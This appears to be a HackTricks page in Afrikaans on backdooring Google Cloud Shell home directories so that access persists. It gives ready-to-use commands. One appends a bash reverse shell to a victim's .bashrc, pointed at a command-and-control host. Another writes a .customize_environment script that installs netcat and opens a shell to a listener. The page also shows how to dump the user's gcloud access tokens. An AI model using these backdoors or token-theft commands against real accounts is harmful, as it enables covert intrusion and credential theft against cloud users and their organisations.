GCP - Cloud Shell Persistence

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Cloud Shell

Vir meer inligting, kyk:

GCP - Cloud Shell Enum

Volgehoue Agterdeur

Google Cloud Shell bied jou die geleentheid om opdraggelyntoegang tot jou wolkbronne direk vanuit jou webblaaier te hê sonder enige verbonde koste.

Jy kan toegang tot Google se Cloud Shell kry vanaf die webkonsol of deur gcloud cloud-shell ssh uit te voer.

Hierdie konsol het 'n paar interessante vermoëns vir aanvallers:

  1. Enige Google-gebruiker met toegang tot Google Cloud het toegang tot 'n ten volle geauthentiseerde Cloud Shell-instantie (Diensrekeninge kan, selfs al is hulle eienaars van die organisasie).

  2. Genoemde instantie sal sy tuisgids vir ten minste 120 dae handhaaf as geen aktiwiteit plaasvind nie.

  3. Daar is geen vermoë vir 'n organisasie om die aktiwiteit van daardie instantie te monitor.

Dit beteken basies dat 'n aanvaller 'n agterdeur in die tuisgids van die gebruiker kan plaas en solank die gebruiker elke 120 dae ten minste na die GC Shell verbind, sal die agterdeur oorleef en die aanvaller sal elke keer 'n skul kry wanneer dit uitgevoer word deur net te doen:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Daar is 'n ander lêer in die huisvouer genaamd .customize_environment wat, indien dit bestaan, elke keer uitgevoer gaan word wanneer die gebruiker die wolkmussel toegang (soos in die vorige tegniek). Voeg net die vorige agterdeur in of een soos die volgende om volharding te behou solank as wat die gebruiker die wolkmussel "gereeld" gebruik:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Dit is belangrik om op te let dat die eerste keer wanneer 'n aksie wat verifikasie vereis, uitgevoer word, 'n pop-up verifikasie-venster in die gebruiker se webblaaier verskyn. Hierdie venster moet aanvaar word voordat die bevel uitgevoer kan word. As 'n onverwagte pop-up verskyn, kan dit vermoedens wek en moontlik die volhardingsmetode wat gebruik word, in gevaar bring.

Dit is die pop-up van die uitvoering van gcloud projects list vanaf die wolkshell (as aanvaller) wat in die webblaaier se gebruikersessie gesien word:

Maar, as die gebruiker aktief die wolkshell gebruik het, sal die pop-up nie verskyn nie en kan jy gebruikerstokens versamel met:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Hoe die SSH-verbinding tot stand gebring word

Basies word hierdie 3 API-oproepe gebruik:

Maar jy kan verdere inligting vind in https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated